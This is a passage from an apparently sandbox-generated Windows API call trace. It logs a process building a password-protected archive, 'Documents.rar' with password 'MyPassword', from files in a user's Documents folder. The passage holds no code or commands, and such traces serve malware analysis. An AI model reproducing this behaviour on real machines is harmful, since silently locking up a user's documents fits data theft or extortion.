hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.798] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.798] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x120)) [0083.798] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.798] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17512711009) returned 1 [0083.799] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x74e6, lpOverlapped=0x0) returned 1 [0083.800] ReadFile (in: hFile=0x350, lpBuffer=0x11631b95526, nNumberOfBytesToRead=0xf8b1a, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b95526*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.800] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.800] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.800] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.800] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.800] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.800] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8893a0 [0083.800] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.800] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.800] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.800] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.800] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.800] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.800] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ea0 [0083.800] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205d460 [0083.800] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.800] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d460 | out: hHeap=0x1162e7c0000) returned 1 [0083.801] GetTickCount () returned 0x2abf5 [0083.801] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17512919464) returned 1 [0083.801] GetTickCount () returned 0x2abf5 [0083.801] GetTickCount () returned 0x2abf5 [0083.801] GetTickCount () returned 0x2abf5 [0083.801] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.801] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.801] GetFocus () returned 0x1031c [0083.801] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.801] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.802] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.802] GetFocus () returned 0x1031c [0083.802] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.802] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.802] ResetEvent (hEvent=0x344) returned 1 [0083.802] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.802] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.803] ResetEvent (hEvent=0x344) returned 1 [0083.803] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.803] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.805] GetTickCount () returned 0x2abf5 [0083.805] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17513344999) returned 1 [0083.805] GetTickCount () returned 0x2abf5 [0083.805] GetTickCount () returned 0x2abf5 [0083.805] GetTickCount () returned 0x2abf5 [0083.805] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.805] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.805] GetFocus () returned 0x1031c [0083.805] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.806] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.806] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.806] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.806] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.806] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x20cc31 [0083.806] SetFilePointer (in: hFile=0x32c, lDistanceToMove=113, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x20cca2 [0083.806] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.807] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.807] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.807] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.807] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x2e80, lpOverlapped=0x0) returned 1 [0083.807] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.807] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.807] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2149425, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20cc31 [0083.807] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x20cc31 [0083.807] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.809] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.809] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.809] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.809] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.809] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888900 [0083.809] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.809] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.809] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.809] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.809] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.810] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.810] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e8893a0 [0083.810] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205c4a0 [0083.810] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205c4a3*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205c4a3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x71, lpOverlapped=0x0) returned 1 [0083.810] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.810] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x71) returned 0x1163204ee70 [0083.810] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.810] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c4a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.810] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20fb22 [0083.810] CloseHandle (hObject=0x350) returned 1 [0083.810] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.810] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.810] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.810] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.810] FindFirstFileW (in: lpFileName="MZgybshM.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d7c0 [0083.810] FindClose (in: hFindFile=0x1163204d7c0 | out: hFindFile=0x1163204d7c0) returned 1 [0083.810] CreateFileW (lpFileName="MZgybshM.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\mzgybshm.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.810] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.810] GetTickCount () returned 0x2ac05 [0083.810] GetLastError () returned 0x0 [0083.811] SetLastError (dwErrCode=0x0) [0083.811] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.811] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.811] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0083.811] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0083.811] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0083.812] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.812] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.812] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.812] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.812] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="folder.ico") returned 10 [0083.812] SetWindowTextW (hWnd=0x10300, lpString="MZgybshM.pptx") returned 1 [0083.813] GetTickCount () returned 0x2ac05 [0083.813] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.813] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.813] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.813] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.813] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x12f)) [0083.813] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.813] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17514186020) returned 1 [0083.813] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xd32d, lpOverlapped=0x0) returned 1 [0083.814] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9b36d, nNumberOfBytesToRead=0xf2cd3, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9b36d*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.814] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.814] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.814] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.814] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.814] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0083.814] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.814] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.814] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ef0 [0083.814] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.814] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.814] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.814] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc00 [0083.815] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc00 | out: hHeap=0x1162e7c0000) returned 1 [0083.815] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.815] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.815] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205db20 [0083.815] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0083.815] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205db20 | out: hHeap=0x1162e7c0000) returned 1 [0083.815] GetTickCount () returned 0x2ac05 [0083.815] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17514392927) returned 1 [0083.815] GetTickCount () returned 0x2ac05 [0083.815] GetTickCount () returned 0x2ac05 [0083.815] GetTickCount () returned 0x2ac05 [0083.815] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.815] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.815] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.816] ResetEvent (hEvent=0x344) returned 1 [0083.816] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.816] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.819] ResetEvent (hEvent=0x344) returned 1 [0083.819] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.819] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.820] GetTickCount () returned 0x2ac05 [0083.820] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17514896637) returned 1 [0083.820] GetTickCount () returned 0x2ac05 [0083.820] GetTickCount () returned 0x2ac05 [0083.820] GetTickCount () returned 0x2ac05 [0083.820] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.820] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.820] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.821] ResetEvent (hEvent=0x33c) returned 1 [0083.821] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.821] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.821] ResetEvent (hEvent=0x33c) returned 1 [0083.821] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.822] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.822] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.822] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.822] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x20fb22 [0083.822] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x20fb83 [0083.823] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.823] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.823] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.823] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.823] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xd3c0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xd3c0, lpOverlapped=0x0) returned 1 [0083.824] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.824] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.824] GetFocus () returned 0x1031c [0083.824] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 0 [0083.824] GetKeyState (nVirtKey=16) returned 0 [0083.825] TranslateAcceleratorW (hWnd=0x102f8, hAccTable=0x1033f, lpMsg=0x141a0dd4e0) returned 0 [0083.825] TranslateMessage (lpMsg=0x141a0dd4e0) returned 0 [0083.825] DispatchMessageW (lpMsg=0x141a0dd4e0) returned 0x7f4c [0083.825] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.825] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2161442, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x20fb22 [0083.825] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x20fb22 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.825] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888900 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.825] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e8886d0 [0083.825] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.825] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c930 [0083.825] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c930 | out: hHeap=0x1162e7c0000) returned 1 [0083.825] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.825] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888900 [0083.825] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888900, Size=0x7a) returned 0x1163205d2b0 [0083.825] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d2b3*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205d2b3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x61, lpOverlapped=0x0) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.825] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x61) returned 0x1162e7f9610 [0083.825] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8886d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.825] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d2b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.825] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x21cf43 [0083.826] CloseHandle (hObject=0x350) returned 1 [0083.826] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.826] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.826] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.826] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.826] FindFirstFileW (in: lpFileName="NdfE2nFSq.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 